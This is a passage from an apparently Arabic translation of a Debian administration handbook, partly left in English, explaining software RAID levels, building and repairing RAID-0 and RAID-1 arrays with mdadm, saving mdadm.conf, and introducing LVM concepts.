استعرض هذا الفصل جزءاً من برمجيات المخدمات المتاحة فقط؛ لكنه شرح معظم الخدمات الشبكية الشائعة. حان الوقت الآن للدخول في فصل تقني أكثر: سوف نتعمق في تفاصيل بعض المفاهيم، ونشرح عمليات التنصيب على نطاق واسع، والحوسبة الظاهرية.

فصل 12. الإدارة المتقدمة

يعيد هذا الفصل النظر في بعض القضايا التي ناقشناها سابقاً، لكن من وجهة نظر مختلفة: سوف ندرس تجهيز الأنظمة الكبيرة بدلاً من تجهيز حاسوب مفرد؛ وسوف نتعلم ضبط LVM و RAID يدوياً بدل الضبط الآلي عند التثبيت، حتى نتمكن من تعديل الخيارات التي حددناها سابقاً. أخيراً، سوف نتحدث عن أدوات المراقبة وتقنيات المحاكاة. أي أن هذا الفصل موجَّه لمديري النظم المحترفين أكثر مما يركز على ما يهم الأفراد الذين يديرون شبكة منزلية.

12.1. ‏RAID وLVM

استعرض فصل 4, التثبيت هذه التقنيات من وجهة نظر برنامج التثبيت، والطريقة التي دمجت فيها هذه التقنيات حتى يكون إعدادها سهلاً منذ البداية. يجب على مدير النظام أن يستطيع معالجة الحاجات المتزايدة للمساحة التخزينية بعد التثبيت الأولي للنظام، دون اللجوء إلى عملية إعادة التثبيت المكلفة (من ناحية الوقت والجهد). أي أن مدير النظام يجب أن يستخدم الأدوات المطلوبة لتعديل نظامي LVM و RAID بمهارة.

تستخدم تقنيتا LVM و RAID لعزل الحيز التخزيني المتاح لنظام الملفات عن الحيز التخزيني الفيزيائي (الأقراص الصلبة الفعلية أو الأقسام partitions)؛ تحمي تقنية RAID البيانات من خلال التخزين الفائض، بينما تجعل تقنية LVM إدارة البيانات أكثر مرونة واستقلالاً عن السَّعَة الحقيقية للأقراص التي تحميل تلك البيانات. في الحالتين، يعتمد النظام على أجهزة تخزينية جديدة، يمكن استخدامها لإنشاء نظم ملفات أو مساحات الإبدال Swap، دون أن ترتبط بقرص فيزيائي واحد. إن جذور التقنيتين مختلفة كثيرًا، لكن وظائفهما متشابهة نوعًا ما، ولهذا غالبًا ما تذكران معًا.

منظور Btrfs يجمع بين LVM وRAID

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the featuresets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/index.php/Main_Page

من المزايا التي تستحق الذكر هي إمكانية أخذ لقطة snapshot لشجرة نظام الملفات عند أي لحظة زمنية. هذه اللقطة لا تحجز أي مساحة على القرص، إذا أن البيانات لا تنسخ قبل أن تجرى بعض التغييرات عليها. كما أن نظام الملفات يعالج أيضًا الضغط الشفاف للملفات، وهناك checksums تضمن سلامة كافة البيانات المخزنة.

في حال استخدام RAID أو LVM، توفر النواة ملف جهاز تخزيني (كتلي) block device file، يشبه الملفات التي تمثل الأقراص الصلبة أو أقسام الأقراص. عندما يحتاج أحد التطبيقات، أو أحد أجزاء النواة، للوصول إلى كتلة block من جهاز تخزيني من هذا النوع، يعمل النظام الفرعي المناسب (نظام LVM أو RAID) على توجيه هذه الكتلة إلى الطبقة الفيزيائية الموافقة. وحسب إعداد النظام، يمكن أن تُخزَّن هذه الكتلة على قرص فيزيائي واحد أو أكثر، كما أن موقعها الفيزيائي قد لا يرتبط بموقعها ضمن الجهاز المنطقي.

12.1.1. ‏Software RAID

RAID means Redundant Array of Independent Disks. The goal of this system is to prevent data loss and ensure availability in case of hard disk failure. The general principle is quite simple: data are stored on several physical disks instead of only one, with a configurable level of redundancy. Depending on this amount of redundancy, and even in the event of an unexpected disk failure, data can be losslessly reconstructed from the remaining disks.

ثقافة Independent أو inexpensive؟

The I in RAID initially stood for inexpensive, because RAID allowed a drastic increase in data safety without requiring investing in expensive high-end disks. Probably due to image concerns, however, it is now more customarily considered to stand for independent, which doesn't have the unsavory flavor of cheapness.

يمكن تطبيق RAID باستخدام عتاد خاص (وحدات RAID مدمجة في متحكِّمات SCSI أو SATA) أو برمجيًا (عبر النواة). سواء كان النظام يعتمد على العتاد أو البرمجيات، يستطيع RAID أن يبقى في الخدمة عند عطب أحد الأقراص إذا كان هناك تخزين فائض كاف؛ إذا يمكن للطبقة العليا (التطبيقات) أن تستمر بالوصول إلى البيانات بغض النظر عن العطل. طبعاً، يمكن أن يؤثر ”وضع degraded“ هذا على الأداء، كما أن الفائض التخزيني ينخفض، ما يعني إمكانية خسارة البيانات إذا حصل عطل آخر في الأقراص. ولهذا لا يتم الاعتماد على degraded mode عمليًا إلا خلال المدة اللازمة لاستبدال القرص المعطوب. يستطيع نظام RAID إعادة بناء المعلومات اللازمة للعودة إلى الوضع الآمن بعد تثبيت القرص الجديد. لن تلاحظ البرمجيات أي شيء، أو ربما تشعر ببعض البطء في سرعة الوصول إلى البيانات عندما تكون المصفوفة في الوضع degraded أو أثناء مرحلة إعادة بناء البيانات المفقودة.

عندما يعتمد على العتاد لبناء مصفوفات RAID، فغالباً ما يتم إعداد النظام عبر أداة إعداد BIOS، وتعتبر النواة مصفوفة RAID كقرص واحد، يعمل مثل قرص فيزيائي قياسي، إلا أن اسم الجهاز قد يختلف (تبعاً لبرنامج التعريف).

سوف نركز على RAID البرمجي فقط في هذا الكتاب.

12.1.1.1. مستويات RAID المختلفة

في الواقع RAID ليس نظاماً واحداً، بل مجموعة من النظم لكل منها مستوى؛ وتختلف المستويات عن بعضها بالتنظيم وكمية الفائض التي تقدمها. كلما كان الفائض أكبر كلما كان النظام أكثر مقاومة للأعطال، ذلك لأن النظام سيبقى في الخدمة مع المزيد من الأقراص المعطوبة. الناحية السلبية هي أن المساحة التخزينية المتاحة للاستعمال تصغر؛ وذلك بسبب الحاجة لأقراص أكثر لتخزين الكمية نفسها من البيانات.

‏Linear RAID

Even though the kernel's RAID subsystem allows creating “linear RAID”, this is not proper RAID, since this setup doesn't involve any redundancy. The kernel merely aggregates several disks end-to-end and provides the resulting aggregated volume as one virtual disk (one block device). That is about its only function. This setup is rarely used by itself (see later for the exceptions), especially since the lack of redundancy means that one disk failing makes the whole aggregate, and therefore all the data, unavailable.

‏RAID-0

لا يقدم هذا المستوى أية فائض أيضًا، لكن الأقراص لا تتقاطر خلف بعضها بشكل بسيط: بل تقسم إلى شرائط stripes، ويتم تخزين أجزاء القرص الظاهري على الشرائط بشكل متناوب بين الأقراص الفيزيائية. في نظام RAID-0 ذو قرصين، مثلًا، تُخَزَّن الأجزاء الزوجية من القرص الظاهري على القرص الفيزيائي الأول، والأجزاء الفردية على القرص الفيزيائي الثاني.

This system doesn't aim at increasing reliability, since (as in the linear case) the availability of all the data is jeopardized as soon as one disk fails, but at increasing performance: during sequential access to large amounts of contiguous data, the kernel will be able to read from both disks (or write to them) in parallel, which increases the data transfer rate. The disks are utilized entirely by the RAID device, so they should have the same size not to lose performance.

RAID-0 use is shrinking, its niche being filled by LVM (see later).

‏RAID-1

يعرف هذا المستوى أيضًا باسم ”RAID mirroring“، وهو الأبسط والأكثر انتشاراً. يعتمد هذا المستوى –في شكله المعياري– على قرصين فيزيائيين لهما السعة ذاتها، ويعطي قرصًا منطقيًا له نفس السعة أيضًا. تخزن البيانات نفسها على القرصين، ولذلك كان ”mirror“ هو الاسم الثاني لهذا المستوى. إذا تعطّل أحد القرصين، تبقى البيانات متوفرة على الآخر. يمكن طبعاً إعداد RAID-1 على أكثر من قرصين بالنسبة للبيانات الهامة جدًا، لكن هذا سيزيد نسبة الكلفة للمساحة التخزينية.

ملاحظة سعة الأقراص وسعة العنقود

إذا تم إعداد قرصين من سعتين مختلفتين في مرآة RAID-1، لن يستخدم القرص الأكبر بشكل كامل، لأنه سيحوي نفس البيانات التي يحويها القرص الأصغر فقط. أي أن المساحة المتوفرة للاستخدام في قرص RAID-1 الناتج ستطابق سعة أصغر قرص في المصفوفة. هذا القانون ينطبق على مستويات RAID اللاحقة أيضًا، رغم أن الفائض مخزن بأسلوب مختلف.

لذلك كان مهماً أن تجمع الأقراص ذات السعات المتساوية أو المتقاربة جدًا عند إعداد مصفوفات RAID (ما عدا RAID-0 و Linear RAID)، حتى تتجنب الهدر في الموارد.

ملاحظة الأقراص الاحتياطية

يمكن إضافة أقراص أكثر مما هو مطلوب للمصفوفة في مستويات RAID التي تحتوي على فائض. يمكن استخدام الأقراص الإضافية كبديل عندما يتعطّل أحد الأقراص الرئيسية. مثلًا، في حالة تطبيق مرآة بقرصين مع قرص احتياطي واحد، سوف تعيد النواة بناء المرآة تلقائيًا (وفوريًا) باستخدام القرص الاحتياطي إذا تعطّل أحد القرصين الرئيسيين. يمكن اعتماد هذا الأسلوب كخط أمان إضافي للبيانات الحساسة.

قد يتساءل المرء عن سبب تفضيل هذا الأسلوب على إعداد مرآة بثلاثة أقراص ببساطة. إن ميزة إعداد ”القرص الاحتياطي“ هي إمكانية مشاركة القرص الاحتياطي بين عدة مصفوفات RAID. يمكن مثلًا، إعداد ثلاثة مصفوفات RAID-1، مع ضمان حماية الفائض حتى في حال تعطل أحد الأقراص باستخدام سبعة أقراص فقط (ثلاثة أزواج واحتياطي واحد)، بدلاً من تسعة أقراص كنا سنحتاجها لإعداد ثلاثة مرايا ثلاثية.

بالرغم من ارتفاع كلفة هذا المستوى (نظراً لأن المساحة التخزينية المتاحة تساوي نصف المساحة الفيزيائية في أحسن الأحوال)، إلا أنه استخدامه منتشر عملياً. فهم هذا المستوى بسيط، وهو يؤدي عملية نسخ احتياطي بسيطة جدًا: بما أن القرصين يخزنان المحتوى نفسه، يمكن فصل أحدهما مؤقتًا دون التأثير على عمل النظام. غالبًا ما يكون أداء الأقراص عند القراءة مرتفعاً، لأن النواة تستطيع قراءة نصف البيانات من كل قرص على التوازي، في حين لا ينخفض الأداء كثيراً عند الكتابة. تبقى البيانات متاحة في مصفوفة RAID-1 ذات N قرص، حتى في حال تعطل N-1 قرص.

‏RAID-4

هذا المستوى من RAID غير منتشر كثيراً. يستخدم هذا المستوى N قرص لتخزين البيانات المفيدة، وقرص إضافي لتخزين معلومات فائضة. إذا تعطل القرص الإضافي، يستطيع النظام إعادة بناء محتوياته اعتمادًا على الأقراص الأخرى. أما إذا تعطل أحد أقراص المعلومات فيستخدم النظام الأقراص المتبقية منها (N-1 قرص) مع القرص الإضافي (قرص الازدواجية – ‎“parity” disk) لإعادة بناء البيانات المفقودة.

إن كلفة RAID-4 ليست مرتفعة جداً بما أن الزيادة في الكلفة هي 1 إلى N كما أنه تأثيره على سرعة القراءة غير ملحوظ، لكن أداء الكتابة ينخفض. من ناحية أخرى، عند كل عملية كتابة على أحد أقراص المعلومات يجب الكتابة على قرص الازدواجية أيضًا، ما قد يؤدي لتقصير عمره بشكل كبير. تبقى البيانات في مصفوفة RAID-4 بأمان في حال عطب قرص واحد (من المصفوفة كلها ذات N+1 قرص).

‏RAID-5

يعالج المستوى RAID-5 مشكلة اللاتناظر التي يعاني منها RAID-4: حيث تنتشر معلومات الازدواجية على جميع الأقراص في مصفوفة N+1، ولا يوجد دور محدد لأي قرص منها.

أداء القراءة والكتابة مطابق لأداء RAID-4. كما أن النظام هنا أيضًا يتحمل تعطل قرص واحد فقط (من أصل N+1 قرص).

‏RAID-6

يمكن اعتبار RAID-6 كامتداد للمستوى RAID-5، إذ أن كل سلسلة مؤلفة من N كتلة تحتاج إلى كتلتين فائضتين، وكل سلسلة من N+2 كتلة تنتشر على N+2 قرص.

كلفة هذا المستوى أعلى بقليل من المستويين السابقين، لكنه يزيد مستوى الأمان إذا يستطيع العمل حتى لو تعطل قرصين (من أصل N+2) دون تأثر البيانات. الجانب السلبي هو أن عمليات الكتابة على الأقراص تحتاج لكتابة كتلة بيانات واحدة وكتلتين فائضتين، وهذا يجعل الكتابة أبطأ.

‏RAID-1+0

This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there is no problem with that.

تتحمل مصفوفات RAID-1+0 تعطل عدة أقراص: فالمصفوفة الموضحة سابقاً يمكن أن تتحمل تعطل N قرص إذا كانت تحوي ‎2×‎N قرص، بشرط أن ينجو قرص واحد على الأقل من كل زوج من أقراص RAID-1.

التعمق أكثر RAID-10

يعتبر RAID-10 كمرادف للمستوى RAID-1+0 عموماً، لكن هناك خاصية في لينكس تجعل الثاني حالة خاصة من الأول. يسمح هذا الإعداد ببناء نظام تُخزَّن فيه كل كتلة على قرصين مختلفين، حتى لو كان عدد الأقراص في النظام فردياً، ويتبع توزيع النسخ على الأقراص نموذجاً محدداً يمكن تعديله.

سيختلف مستوى الأداء تبعاً لنموذج التقسيم المتبع ومستوى الفائض، وحمل الحيز التخزيني المنطقي.

من الواضح أن اختيار مستوى RAID الملائم يعتمد على متطلبات وقيود كل تطبيق. لاحظ أن الحاسوب الواحد يمكن أن يحوي عدة مصفوفات RAID ذات مستويات مختلفة.

12.1.1.2. إعداد RAID

يحتاج إعداد RAID لحزمة mdadm؛ التي توفر الأمر mdadm الذي يستخدم لإنشاء وتعديل مصفوفات RAID، كما توفر أيضًا سكربتات وأدوات تدمج البرنامج في أجزاء نظام التشغيل الأخرى، بما فيه نظام المراقبة.

مثالنا هو مُخدِّم فيه عدد من الأقراص، بعضها مستخدم، والباقي متاح لإعداد مصفوفة RAID. هذه هي الحالة الإبتدائية للأقراص والأقسام:

القرص sdb، ‏4 غ.ب، متاح بالكامل؛

القرص sdc، ‏4 غ.ب، متاح بالكامل أيضاً؛

القسم sdd2 من القرص sdd متاح (حوالي 4 غ.ب)؛

أخيراً، القرص sde، أيضاً 4 غ.ب متاح بالكامل.

ملاحظة التعرف على أقراص RAID القديمة

يسرد الملف /proc/mdstat جميع أقراص RAID السابقة وحالاتها. يجب أن تنتبه إلى عدم استخدام اسم قرص مستخدم مسبقًا عند إنشاء قرص جديد.

سوف نستخدم هذه العناصر الفيزيائية لبناء حيزين تخزينيين، أحدهما RAID-0، والآخر RAID-1 (مرآة). دعنا نبدأ ببناء حيز RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Tue Jun 25 08:47:49 2019 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Tue Jun 25 08:47:49 2019 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Chunk Size : 512K Consistency Policy : none Name : mirwiz:0 (local to host debian) UUID : 146e104f:66ccc06d:71c262d7:9af1fbc7 Events : 0 Number Major Minor RaidDevice State 0 8 32 0 active sync /dev/sdb 1 8 48 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.44.5 (15-Dec-2018) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: 413c3dff-ab5e-44e7-ad34-cf1a029cfe98 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.9G 36M 7.4G 1% /srv/raid-0

The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0 is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It is also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear instead of /dev/md0.

يتم إنشاء RAID-1 بأسلوب مشابه، ولا تظهر الاختلافات إلا بعد عملية الإنشاء:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Tue Jun 25 10:21:22 2019 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Tue Jun 25 10:22:03 2019 State : clean, resyncing Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Resync Status : 93% complete Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 16 Number Major Minor RaidDevice State 0 8 64 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

تلميح RAID والأقراص والأقسام

كما هو واضح من المثال، يمكن بناء أجهزة RAID من أقسام الأقراص، ولا يشترط استخدام أقراص كاملة.

هناك بضعة ملاحظات. أولاً، يلاحظ mdadm اختلاف سعة العناصر الفيزيائية؛ وبما أن هذا يعني ضياع بعض المساحة من العنصر الأكبر، يطلب من المستخدم تأكيد العملية.

الأهم من هذا هو حالة المرآة. لاحظ كيف كانت resyncing ثم انتقلت إلى active. إن الحالة الطبيعية لمرآة RAID هي أن تتطابق محتويات القرصين. لكن لا شيء يضمن هذا التطابق عند إنشاء المصفوفة أول مرة، ولذلك يعمل نظام RAID الفرعي على ضمان هذا بنفسه، ويبدأ طور مزامنة المحتويات بعد إنشاء المصفوفة مباشرة. بعد فترة من الزمن (تختلف المدة حسب حجم الأقراص الفعلي...)، تنتقل مصفوفة RAID إلى حالة ”active“ أو ”clean“. لاحظ أن المصفوفة تكون في الوضع degraded خلال طور إعادة البناء، وأن الفائض التخزيني غير جاهز بعد. إذا تعطل قرص أثناء مرحلة الخطر تلك، فسوف يؤدي ذلك إلى خسارة البيانات كلها. لكن نادرًا ما تستخدم مصفوفات RAID الجديدة لتخزين كميات كبيرة من البيانات الحساسة قبل أن تنتهي مرحلة تهيئتها الأولية. لاحظ أيضًا أن /dev/md1 جاهز للاستخدام حتى في وضع degraded، وأنه يمكن إنشاء نظام ملفات عليه، كما يمكن نسخ البيانات إليه أيضًا.

تلميح إنشاء مرآة في وضع degraded

أحيانًا لا يكون القرصان جاهزين فورًا لحظة إنشاء مرآة RAID-1، مثلاً يمكن أن أحد القرصين الذين نريد استخدامهما مستخدم أصلاً لتخزين البيانات التي نريد نقلها إلى المصفوفة. في مثل هذه الحالات، من الممكن إنشاء مصفوفة RAID-1 في الوضع degraded باستخدام قرص واحد من خلال تمرير missing كمعامل للأمر mdadm بدلاً من تمرير اسم الملف الذي يمثل القرص. بعد نسخ البيانات إلى ”المرآة“، يمكن إضافة القرص القديم إلى المصفوفة. عندها تبدأ عملية المزامنة، للوصول إلى الحالة الآمنة التي أردناها في البداية.

تلميح إعداد مرآة بدون مزامنة

تستخدم مصفوفات RAID-1 بعد إنشائها غالبًا كأقراص جديدة، وتعامل على أنها فارغة. أي أن المحتويات الأولية للقرص عديمة القيمة، لأن كل ما نحتاجه هو أن نتأكد أننا سوف نستطيع لاحقاً الوصول البيانات التي سنكتبها بعد إنشاء الحيز التخزيني الجديد، خصوصاً نظام الملفات.

قد يتساءل المرء عندئذ عن فائدة مزامنة الأقراص عند إنشائها. ما الفرق إذا كانت محتويات المصفوفة متزامنة إذا كنا لن نقرأ من المصفوفة شيئًا قبل محوها وتهيئتها؟

لحسن الحظ، يمكن تفادي طور المزامنة هذا بتمرير الخيار‎ --assume-clean للأمر mdadm. لكن هذا الخيار قد يسبب مفاجآت لو حاولنا قراءة البيانات الأولية (مثلاً إذا كانت الأقراص الفيزيائية تحوي نظام ملفات مسبقًا)، لذلك فإن هذا الخيار معطل افتراضيًا.

دعنا نرى ما سيحدث عندما يتعطل أحد عناصر مصفوفة RAID-1. يمكن محاكاة عطب قرص ما باستخدام الخيار --fail مع الأمر mdadm:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Update Time : Tue Jun 25 11:03:44 2019 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 20 Number Major Minor RaidDevice State - 0 0 0 removed 1 8 80 1 active sync /dev/sdd2 0 8 64 - faulty /dev/sde

تبقى محتويات المصفوفة متاحة (وإذا كانت مرتبطة بشجرة الملفات، فلن تشعر التطبيقات بشيء)، لكن البيانات لم تعد بأمان: فإذا تعطل القرص sdd أيضًا، سوف تضيع البيانات. نحن لا نريد أن نخاطر بذلك، ولهذا سوف نستبدل القرص المعطوب بقرص جديد، sdf:

# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: [...] Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Tue Jun 25 11:09:42 2019 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 27% complete Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 26 Number Major Minor RaidDevice State 2 8 96 0 spare rebuilding /dev/sdf 1 8 80 1 active sync /dev/sdd2 0 8 64 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: [...] Update Time : Tue Jun 25 11:10:47 2019 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 39 Number Major Minor RaidDevice State 2 8 96 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sdf 0 8 64 - faulty /dev/sde

هنا أيضاً تبدأ النواة طور إعادة بناء تلقائيًا، وتبقى المصفوفة خلال هذا الطور في الوضع degraded أيضًا لكنها متاحة للوصول. ترجع مصفوفة RAID-1 إلى الحالة الطبيعية فور انتهاء إعادة البناء. يمكن عندها أن نخبر النظام أننا سوف نزيل القرص sde من المصفوفة، حتى تبقى كمرآة RAID كلاسيكية بقرصين فقط:

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 2 8 96 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sdf

عند هذه اللحظة يمكن فصل القرص الفيزيائي عند إيقاف تشغيل المخدم، أو يمكن حتى فصلها مباشرة إذا كان العتاد يسمح بالتبديل الساخن hot-swap. تسمح بعض متحكمات SCSI، ومعظم أقراص SATA، والسواقات الخارجية التي تعمل عبر USB أو Firewire بهذا النوع من التبديل.

12.1.1.3. النسخ الاحتياطي للإعدادات

تُحفَظ معظم البيانات الفوقية (meta-data) الخاصة بمصفوفات RAID مباشرة على الأقراص التي تنتمي لهذه المصفوفات، حتى تتعرف النواة على المصفوفات ومكوناتها وتجمعها آليًا عند إقلاع النظام. لكن الأفضل أخذ نسخة احتياطية عن هذه البيانات، لأن عملية التعرف هذه قد تفشل، ومن المتوقع ألا تفشل هذه العملية إلا في الظروف الحساسة. فلو كان عطل القرص sde في مثالنا حقيقيًا (وليس ظاهريًا كما فعلنا) ثم أعيد تشغيل النظام دون إزالة هذا القرص sde، فقد يعود هذا القرص إلى العمل ثانية نتيجة عملية الاستكشاف أثناء إعادة الإقلاع. سوف تصطدم النواة إذًا بثلاثة أقراص فيزيائية، كلٌّ منها يدعي أنه يحوي نصف الحيز التخزيني المقابل للمصفوفة نفسها. أو يمكن أن يحدث التباس عند دمج مصفوفات RAID من مخدمين إلى مخدم واحد فقط. إذا كانت هذه المصفوفات تعمل بشكل صحيح قبل نقل الأقراص، سوف تتمكن النواة من التعرف على الأزواج وجمعها بشكل صحيح؛ لكن إذا كانت الأقراص على المخدم القديم مجموعة مع بعضها في مصفوفة اسمها md1، وكان المخدم الجديد يحوي md1 أيضًا، فسوف تعاد تسمية إحدى المرآتين.

إذاً لا بد من أخذ نسخة احتياطية عن الإعدادات، حتى لو كانت للاستئناس فقط. الطريقة المعيارية لعمل هذا هي تحرير الملف /etc/mdadm/mdadm.conf، إليك مثالاً عن هذا الملف:

مثال 12.1. ملف إعداد mdadm

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # auto-create devices with Debian standard permissions CREATE owner=root group=disk mode=0660 auto=yes # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7 ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c # This configuration was auto-generated on Tue, 25 Jun 2019 07:54:35 -0400 by mkconf

أحد أهم التفاصيل هو خيار DEVICE، الذي يعدد الأجهزة التي يفحصها النظام بحثًا عن مكونات مصفوفات RAID عند الإقلاع. لقد استبدلنا في مثالنا القيمة الافتراضية – partitions containers – بلائحة واضحة تسرد أسماء ملفات الأجهزة، ذلك لأننا اخترنا استخدام بعض الأقراص الكاملة وليس الأقسام فقط.

آخر سطرين في مثالنا يسمحان للنواة بإسناد رقم الحيز المناسب إلى المصفوفة المناسبة. إن البيانات الفوقية المخزنة على الأقراص نفسها تكفي لإعادة جمع المصفوفات، لكنها لا تكفي لمعرفة رقم الحيز (ولا معرفة اسم /dev/md* الموافق للجهاز).

لحسن الحظ، يمكن توليد هذه الأسطر آليًا:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7 ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

لا تعتمد محتويات هذه السطور على الأقراص المتضمنة في المصفوفة. فلا حاجة إلى إعادة توليدها عند استبدال قرص معطوب بآخر جديد. لكن يجب الانتباه إلى تحديث الملف عند إنشاء مصفوفة RAID جديدة أو حذف واحدة قديمة.

12.1.2. LVM

Logical Volume Manager ًأو اختصارا LVM هو أسلوب آخر لعزل الأقراص التخزينية المنطقية عن الأقراص الفيزيائية، وهو يركز على زيادة المرونة بدلاً من زيادة الوثوقية. يسمح LVM بتغيير القرص المنطقي بشكل شفاف بالنسبة للتطبيقات؛ فمثلاً، يمكن إضافة أقراص فيزيائية جديدة، ونقل البيانات إليها، وإزالة القديمة، دون فصل القرص المنطقي عن شجرة الملفات.

12.1.2.1. مفاهيم LVM

هذه المرونة نحرزها من خلال مستوى من العزل يشمل ثلاثة مفاهيم.

الأول هو PV، أي Physical Volume (الحيز الفيزيائي) وهو أقرب وحدة إلى العتاد: يمكن أن يتألف من قسم من أحد الأقراص، أو قرص كامل، أو أي جهاز كتلي آخر (بما في ذلك مصفوفات RAID على سبيل المثال). لاحظ أنه عندما يتم إعداد عنصر فيزيائي ليشغل دور PV في LVM، فيجب التعامل معه من LVM فقط، وإلا فإن النظام سوف يضطرب.

A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev hierarchy, so there is no risk of using them directly.

النوع الثالث من المكونات هو LV‏ (Logical Volume – الحيز المنطقي)، وهو قطعة من VG؛ فإذا اعتبرنا VG بمثابة قرص، عندها يقابل LV القسم من القرص. يظهر LV كجهاز كتلي له مدخلة في /dev، ويمكن استخدامه كما يستخدم أي قسم فيزيائي آخر (لاستضافة نظام ملفات أو مساحة swap عادة).

أهم شيء هنا هو أن تقسيم VG إلى LVs مستقل تمامًا عن المكونات الفيزيائية للـ VG (وهي PVs). يمكن تقسيم VG يتألف من مكون فيزيائي واحد (قرص مثلاً) إلى دزينة من الأقراص المنطقية؛ كما يمكن أن يتألف VG من العديد من الأقراص الفيزيائية ثم يظهر كحيز منطقي كبير مفرد. القيد الوحيد طبعاً هو أن الحجم الكلي المتاح للتخزين على LVs لا يمكن أن يكون أكبر من السعة الكلية للحيزات الفيزيائية في الـVG.

إلا أن المنطق يطلب شيئًا من التجانس بين المكونات الفيزيائية للـVG، وأن تقسم الـVG إلى حيزات منطقية لها استخدامات متشابهة. مثلاً، إذا كان العتاد المتوفر يحوي أقراصًا سريعة وأخرى بطيئة، فيمكن تجميع السريعة منها في VG واحدة والأقراص البطيئة في أخرى؛ يمكن تخصيص أجزاء من الأولى للتطبيقات التي تحتاج وصولاً سريعًا للبيانات، بينما تبقى الأخرى للمهام الأقل إلحاحاً.

